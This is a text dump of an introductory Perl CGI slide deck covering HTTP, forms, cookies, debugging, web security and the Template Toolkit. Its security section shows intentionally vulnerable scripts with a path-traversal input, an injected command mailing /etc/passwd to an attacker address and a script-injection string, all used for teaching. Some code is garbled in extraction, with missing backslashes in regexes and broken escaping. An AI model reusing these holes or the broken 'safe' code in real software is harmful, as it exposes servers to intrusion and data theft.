Introduction to Web Programming with Perl

Introduction to Web Programming with Perl Dave Cross Magnum Solutions Ltd [email_address] http://mag-sol.com

What We Will Cover

The HTTP Protocol
The CGI Protocol
Creating Dynamic Pages with Perl
Getting Input from Forms
The CGI Module

What We Will Cover

Basic Web Security
Using Cookies
Using Templates
Further Information

HTTP

Network Protocols

A protocol is a defined way for objects to interact
Requests and responses are clearly defined
Client makes a request
Server responds

HTTP

Hypertext Transport Protocol
Client is (usually) a web browser
Server is a web server
Client makes a request for a URL
Server responds with appropriate data

HTTP Request

GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc9 Firefox/3.0.4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive

HTTP Response

HTTP/1.x 200 OK Date: Wed, 26 Nov 2008 20:42:54 GMT Server: Apache/2.2.9 (Fedora) Content-Length: 2172 Connection: close Content-Type: text/html;charset=ISO-8859-1 <html> ... </html>

Things to Note

Client requests a URL
Server works out what data is required
Response includes status code and data
Response defines type of data that follows

URLs

Universal Resource Locator
Defines a resource on the internet
http://example.com/some/path
Static URLs usually map on to a file on the web server
This mapping is defined by the web server

CGI

Beyond Static Pages

Static pages pages are limiting
Dynamic pages are more flexible
e.g. List of products + dynamic pages = Online shop

CGI

Common Gateway Interface
Developed 1995
Defined how

Data gets into a program
Output from program returned to web server

Dynamic URLs

The web server needs to recognise CGI URLs
Two common methods
Location

e.g. cgi-bin directory

Naming

e.g. .cgi extension

cgi-bin

Commonly defined as a place to put CGI programs
All requests to this directory are CGI programs
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

.cgi

Commonly defined as the extension for CGI programs
All requests to resources with this extension are CGI programs

Says nothing about programming language

AddHandler cgi-script .cgi

Running CGI Programs

Web server checks incoming requests
If it is a CGI request (location or extension)

Set up CGI environment
Call program
Return program output to browser

Perl and CGI

The early webmasters were also sysadmins
Most sysadmins used Perl a lot
Most CGI programs produce HTML
HTML is just a form of text
Perl is great for manipulating text
Many early CGI programs were written in Perl

Perl is Not CGI

Perl was used long before CGI programs were developed
Perl continues to be used in non-web areas
Other languages have also been used to write CGI programs
Some people still (incorrectly) assume that Perl and CGI are the same thing

Simple Perl CGI Program

#!/usr/bin/perl print “Content-type: text/plain ”; print “Hello world”;

Simple Perl CGI Program

#!/usr/bin/perl print “Content-type: text/html ”; print <<END; <html> <head><title>Hello world</title></head> <body> <h1>Hello world</h1> </body> </html> END

What's Happening?

It's all pretty simple
Program prints a content-type header
Program prints data in the correct format
That's all you need to do

What Else is Happening?

It's actually a little more complex than that
The web server does some work
Recognising CGI URL
Setting up environment
Calling program
Catching output
Adding headers

More Useful Example

Let's make a page that does something dynamic
#!/usr/bin/perl print "Content-type: text/plain "; print scalar localtime;
Of course, that program could produce HTML instead
But putting HTML in Perl code looks untidy

CGI.pm

Perl includes a library called CGI.pm
It handles many areas of CGI programming
One of those is the production of HTML

Producing HTML

#!/usr/bin/perl use CGI ':standard'; print header; print start_html(-title=>'Time'), h1('Time'), p(scalar localtime), end_html;
Later we'll see an alternative method of separating HTML and Perl

Not Producing HTML

You don't need to produce text or HTML
Perl is good at processing other types of data too
Simply set the correct content type and produce output in the correct format

Random Images

#!/usr/bin/perl use CGI 'header'; $dir = '/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; if ($a_pic =~ /.png$/) { print header(-type => 'image/png'); } else { print header(-type => 'image/jpeg'); } open PIC, "$dir/$a_pic" or die $!; print while <PIC>;

Producing Images

Correct content-type header
Tells browser how to interpret data
Browser knows to expect an image
Use in <img> tag
<img src='/cgi/pic'>

Response Status Codes

An HTTP Response contains a status code
200 means 'ok'
The web server is adding this to our CGI output
But we can override this in our CGI program
Include it in the header

Not There

#!/usr/bin/perl use CGI ':standard'; print header(-status => 404), start_html(-title => 'Not Found'), h1('Not Found'), p('The content that you were', 'looking for could not be', 'found.'), p('Sorry about that.'), end_html;

Other HTTP Codes

1xx – Informational
2xx – Success
3xx – Redirection
4xx – Client error
5xx – Server error

Redirecting the Browser

The 300 errors are often the most useful
Tell the browser to look elsewhere for the resource
302 tells the browser where to find the resource it is looking for

Using Redirection

#!/usr/bin/perl use CGI 'redirect'; my $dir = #/var/www/html/images'; opendir PICS, $dir or die $!; my @pics = grep { -f “$dir/$_” } readdir PICS; my $a_pic = $pics[rand @pics]; print redirect( -uri => "/images/$a_pic" );

Handling Input

So far all of our examples have only produced output
CGI programs are far more flexible if they can accept input

HTML Forms

CGI programs get their input from HTML forms
Text input, radio buttons, checkboxes, selectors
All seem very similar when they get to your CGI program

Sample HTML Form

<form action=”/cgi/handle_form”> <p>Name: <input name=”name” /><br /> <selection name=”sex”> <option>Male</option> <option>Female</option> </selection></p> </form>

Handling the Form

#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); print header, start_html(-title=>"Hello $name"), h1("Hello $name"), p("Hello $name, you are $sex"), end_html;

CGI Parameters

The CGI module has function called 'param'
Returns the value of the parameters passed to the program
Pass it the name of the parameter you are interested in
The name is the name of the HTML form input

Listing Parameters

Without an argument, 'param' returns a list of all parameter names
my @params = param; foreach my $param (@params) { print p('Param ', b($param), ' is ', i(param($param))); }

Multivalued Parameters

Sometimes one name is associated with multiple values
The 'param' function handles this too

Checkboxes

Checkboxes allow you to choose several linked options
Drinks: <input type="checkbox" name="drink" value="beer" /> Beer <input type="checkbox" name="drink" value="wine" /> Wine <input type="checkbox" name="drink" value="coke" /> Coke
Three inputs with the same name
What will 'param' do?

Handling Checkboxes

Our previous form handler already copes with this
'param' returns a space-separated string
$drinks = param('drink');
You can also get a list
@drinks = param('drink'); print join ', ', @drinks;
Perl calls this “context”

GET vs POST

HTML forms can sent parameters to CGI programs in TWO ways
GET encodes the data in the URL
POST encodes the data in the request body
Define which method to use in the <form> element
Default value is GET

GET

The default method is GET
<form action=”...” method=”GET”>
Can be omitted
<form action=”...”>
Data in URL
http://localhost/cgi/handle_form2?name=Dave&sex=Male&drink=beer&drink=wine&drink=coke
Easy to debug
Easy to hack

POST

POST needs to be set explicitly
<form action=”...” method=”POST”>
Data transmitted in HTTP request body
Not seen in URL
Harder to debug
Harder to hack

Handling GET and POST

CGI.pm hides the difference from you
Both GET and POST parameters are accessed in the same way
'param' handles both methods
Easy to swap between the two

Mishandling CGI Data

CGI.pm has been a standard part of Perl for over ten years
No reason not to use 'param'
Some people still don't
Old code
Or code based on old code

Broken CGI Parser

if ($ENV{'REQUEST_METHOD'} eq 'GET') { @pairs = split(/&/, $ENV{'QUERY_STRING'}); } elsif ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); } foreach $pair (@pairs) { my ($name, $val) = split /=/, $pair; # some decoding skipped... $form{$name} = $value; }
You will see code like this
Do not use it

Simple CGI Summary

CGI defines a way to create dynamic web pages
Web server identifies CGI URLs

By location or name

Web server sets up CGI environment
Calls CGI program
Output returned to browser

CGI Input

CGI input comes from HTML forms
Input is either GET or POST
CGI program sees a series of name/value pairs

Debugging CGI

Things will go wrong when writing CGI programs
Here are some suggestions on tracking down problems

Debugging Perl

Same techniques as debugging any Perl program
Help Perl to help you
use strict

Must declare variables

use warnings

Warn about potential problems

Use both of these in all Perl programs

Check Syntax

Use “perl -c” to check for syntax errors
#!/usr/bin/perl Print "hello ";
$ perl -c print String found where operator expected at print line 3, near "Print "hello "" (Do you need to predeclare Print?) syntax error at print line 3, near "Print "hello "" print had compilation errors.

Check Error Log

All web servers write an error log

Location depends on configuration

Generic error message to browser

Security feature

Real error message in error log
Anything written to STDERR goes to error log

Writing to Error Log

#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain' ); print 'Nothing went wrong!'; # warn writes to STDERR warn '(Actually something did)';

Errors to Browser

Sometimes it's useful to see real errors in the browser
CGI::Carp does this
use CGI::Carp 'fatalsToBrowser';
Still a security hole
Remove once debugging is over

Or, at least, comment it out

Debugging HTTP

It's often useful to debug the HTTP exchange
See exactly what requests and responses are being exchanged
LWP (from CPAN) includes the GET, POST and HEAD programs

Debugging HTTP

#!/usr/bin/perl use CGI 'header'; print header( -type => 'text/plain', -x_go_away => "It's a secret", ); print 'See headers for more info';

Using HEAD

$ HEAD http://localhost/cgi/headers 200 OK Connection: close Date: Sat, 22 Nov 2008 14:59:15 GMT Server: Apache/2.2.9 (Fedora) Content-Type: text/plain; charset=ISO-8859-1 Client-Date: Sat, 22 Nov 2008 14:59:15 GMT Client-Peer: 127.0.0.1:80 Client-Response-Num: 1 X-Go-Away: It's a secret

Live HTTP Headers

Live HTTP Headers is an add-on for Firefox
Allows you to watch the complete HTTP exchange

View
Save
Replay

Web Security

Exposing a program on your web server is a brave thing to do
Anyone connected to the internet can run your program
Not everyone out there is nice
Need to be sure your program is secure

What Can Go Wrong?

You want a program to display files from your server
Accepts a file as a parameter
Send the contents of the file to the browser
Here's a first attempt

File Viewer Program

#!/usr/bin/perl use CGI ':standard'; my $file = param('filename'); print header(-type => 'text/plain'); open FILE, $file or die "Can't open $file: $! "; print while <FILE>;

What's Wrong With That?

You just compromised the security of your server
Your server contains many files that outsiders shouldn't see
e.g. /etc/passwd
Now anyone on the internet can see a list of usernames on your server

Forms Won't Save You

You could present a page that only allows people to choose certain files

People will look at the source of the form and hack the URL

You could change GET to POST to prevent URL-hacking

People will create their own form and use that to send hacked parameters

Another Attempt

#!/usr/bin/perl use CGI ':standard'; my $dir = '/usr/files/'; my $file = $dir . param('filename'); print header(-type => 'text/plain'); open FILE, $file or die "Can't open $file: $! "; print while <FILE>;

Another Attempt

We have forced files to exist in a certain directory
Only files in that directory can be viewed
That's not true
We can use '..' to move up a directory
filename=../../etc/passwd
Still insecure

A Different Problem

We want to run a command on the server taking input from the user
For example, a manual page viewer
Takes a page name from user input

Manual Page Viewer

#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); print header(-type=>'text/plain'); print `man $page | col -b`;

What's Wrong With That?

Once again you've compromised security on your server
Problem is in this line

print `man $page | col -b`;

Passing user input to an external program
Dangerous input
ls; mail dave@blackhat.com < /etc/passwd

Another Problem

Accept user input and write a results page using it
We've done this before
What if the input includes Javascript?
name=Dave
name=Dave<script>alert(“Gotcha”)</alert>
Javascript can be dangerous

Trust No-One

All of these problems have the same root cause
We trusted user input
Never trust your users
They are either malicious or stupid
Both options are dangerous to you

Check All Input

Check everything that comes into your program
Don't trust any piece of data
Especially if you're sending it out of your program
Use whitelists to define valid data
Throw out anything that doesn't match

Safe File Viewer

#!/usr/bin/perl use CGI ':standard'; print header(-type => 'text/plain'); my $dir = '/usr/files/'; my $file = param('filename'); if ($file =~ /^(w[w.]+)$/) { $file = "$dir/$1"; } else { print 'Go away!'; die "Bad filename: $file "; } ...

Is It Safe?

The safe file viewer assumes that all valid files are in one directory
Therefore the filename can only contain certain characters
/^(w[w.]+)$/
“Word” characters and dots
No directory slashes
Anchors to match whole string

Safe Manual Viewer

#!/usr/bin/perl use CGI ':standard'; my $page = param('man'); if ($page =~ /^(w+)/) { $page = $1; } print header(-type=>'text/plain'); print `man $page | col -b`;

Is It Safe?

Uses a similar approach to the safe file viewer
Unix commands consist of “word” characters
Use the word characters from the start of the input string
Ignore the rest

Safe HTML Input

#!/usr/bin/perl use CGI ':standard'; my $name = param('name'); my $sex = param('sex'); $name =~ s/</</g; $sex =~ s/</</g; ...

Is It Safe?

By converting the < symbols to < we convert HTML to text
The Javascript is rendered harmless
Simplest, but harshest, approach
Maybe you want to allow some HTML
More complex parser required
Look at HTML::Scrubber

Enforcing Distrust

How can you be sure that you are being distrustful enough?
Programmers are fallible
Let Perl help you
Use “taint” mode
Add -T to your shebang line
#!/usr/bin/perl -T

Taint Mode

See “perldoc perlsec” for the full details
All input is marked as tainted
Tainted data may not be sent outside of your program
Tainted data is infectious

If an expression uses tainted data then the result is also tainted

Taint Mode Example

#!/usr/bin/perl -T use strict; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print `$cmd`;

Running Taint Example

$ ./taint Enter command: ls Insecure dependency in `` while running with -T switch at ./taint line 7, <STDIN> line 1.
We are passing tainted data to the Unix shell

Via the backticks

This is equivalent to our man page example

Checking Tainted Data

Use the tainted function from Scalar::Util
use Scalar::Util 'tainted'; print 'Enter command: '; my $cmd = <STDIN>; chomp $cmd; print tainted($cmd) ? '' : 'Not ', "Tainted ";

Cleaning Tainted Data

Untaint data by matching against a regular expression and extracting valid strings
As we did in our previous examples
($cmd) = $cmd =~ /^(w+)/; print tainted($cmd) ? '' : 'Not ', "Tainted ";
We extracted the data we wanted
$cmd is no longer tainted

Not There Yet

Having untainted $cmd we still have another issue
Insecure $ENV{PATH} while running with -T switch at ./taint3 line 16, <STDIN> line 1.
Perl is being really paranoid

Which is a good thing

Perl doesn't trust our PATH setting
Need to set it in the program

Securing the Path

Perl sees the PATH in $ENV{PATH}
Just overwrite that with a known value
$ENV{PATH} = '/bin:/usr/bin:/usr/local/bin';
Perl is finally satisfied

Using Taint Mode

You should use taint mode on any program that is going to be run by untrusted people
This is definitely true of all CGI programs
Taint mode won't catch all problems
But it finds many issues that you might miss

Cookies

HTTP is a stateless protocol
Each request/response exchange has no knowledge of previous ones
This makes writing complex web applications impossible
Shopping baskets (for example) need to maintain state
Cookies are a good way round this problem

What Is A Cookie?

A small text file stored by your browser
Name/value pair
Associated with a domain and (optionally) a path
Can be set to expire
Web site sends cookie to browser
Browser sends cookie back to web server for that domain or path

Viewing Cookies

Modern browsers give users the ability to view and delete cookies
Firefox: Preferences -> Privacy -> Show cookies
You will probably have a lot of cookies
Sites use them to track visitors
Some people block them for that reason

Using Cookies

CGI.pm contains a “cookie” function
Used to both create and access cookie
Cookies need to be sent in the CGI header
Often the first thing to need to do

Setting a Cookie

my $cookie =cookie( -name=>'time', -value=>scalar localtime, -expires=>'+1y' ); print header( -cookie => $time_cookie ); print start_html( -title=>'Cookie test' ); print h1('Cookie test');

Getting a Cookie

if (my $time = cookie('time')) { print p('You last visited this ', “page at $time"); } else { print p('You haven't visited ' 'this page before'); }

Cookie Confusion

People sometimes find cookie code confusing
There are often two completely separate cookies in a program
One incoming, one outgoing
The outgoing cookie is usually dealt with first

Because it needs to be in the header

Login Example

Cookies can be used to track whether a user is logged in to a site
Write a cookie when the user logs in
Delete it when the user logs out

Actually just force it to expire

Log In With Cookies (1)

my $name; my $logged; if (param('login')) { $logged = 1; $name = param('name'); print header( -cookie => cookie( -name => 'name', -value => $name, -expires => '+1y', ) ); }

elsif (param('logout')) { $logged = 0; $name = 'Guest'; print header( -cookie => cookie( -name=>'name', -value=>'', -expires=>'-1d', ) ); }

else { $logged = defined cookie('name'); $name = cookie('name') || 'Guest'; print header; } print start_html(-title => 'Cookies'); print h1('Cookies'); print p('This is a cookie test page'); $name =~ s/</&lt/g; $name = b($name); print p("Hello $name");

print start_form; if ($logged) { print p( submit(-name => 'logout', -value => 'logout')); } else { print p('Enter your name: ', textfield(-name => 'name'), submit(-name => 'login', -value => 'Set name')); print end_form; } print end_html;

Cookie Security

Secure web apps don't reveal any more data than is necessary
Don't trust the browser
Don't store identifiable data in a cookie
Use a nondescript name
Store the real data on your server
Store a reference to data in cookie

Templates

So far all of our HTML has been stored in the program
Either hard-coded HTML or CGI.pm functions
This is fine for demos or simple programs
Can cause problems with larger projects

Separating Concerns

It's a good idea to separate business logic from display logic
Code that works out what to display
Code that works out how to display it

Advantages

Easier to change look of site
Easier to have consistent look and feel
Easier to split work between designers and programmers
Easier to produce alternative views of data

Simple Templating

See perlfaq4

“How can I expand variables in text strings?”

Everyone writes a templating system
Most people release their templating system to CPAN
Please don't do that

Templating Systems

Many templating systems on CPAN
Text::Template
HTML::Template
HTML::Mason
Template Toolkit
Many more
I choose the Template Toolkit

Template Toolkit

Flexible templating system
Equally useful in web and non-web applications
Simple templating language

Not perl

Good Book Too

CGI Using Templates

Create an output template containing your HTML
CGI program acts largely as before

Processes inputs
Determines outputs
Passes outputs to template processor

Template Example

#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; my $name = param('name'); my $sex = param('sex'); my @drink = param('drink'); print header; $tt->process('form.tt', { name => $name, sex => $sex, drink => @drink }) or die $tt->error;

Template Example

<html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% name %]</b></p> <p>Your sex is <b>[% sex %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN drink -%] <li>[% d %]</li> [% END %] </ul> </body> </html>

Simpler Templates

#!/usr/bin/perl use CGI qw(param header); use Template; my $tt = Template->new; print header; $tt->process('form2.tt') or die $tt->error;

Simpler Templates

[% USE CGI -%] <html> <head> <title>Template Toolkit</title> </head> <body> <h1>Template Toolkit</h1> <p>Your name is <b>[% CGI.param('name') %]</b></p> <p>Your sex is <b>[% CGI.param('sex') %]</b></p> <p>You like to drink:</p> <ul> [% FOREACH d IN CGI.param('drink') -%] <li>[% d %]</li> [% END %] </ul> </body> </html>

More Information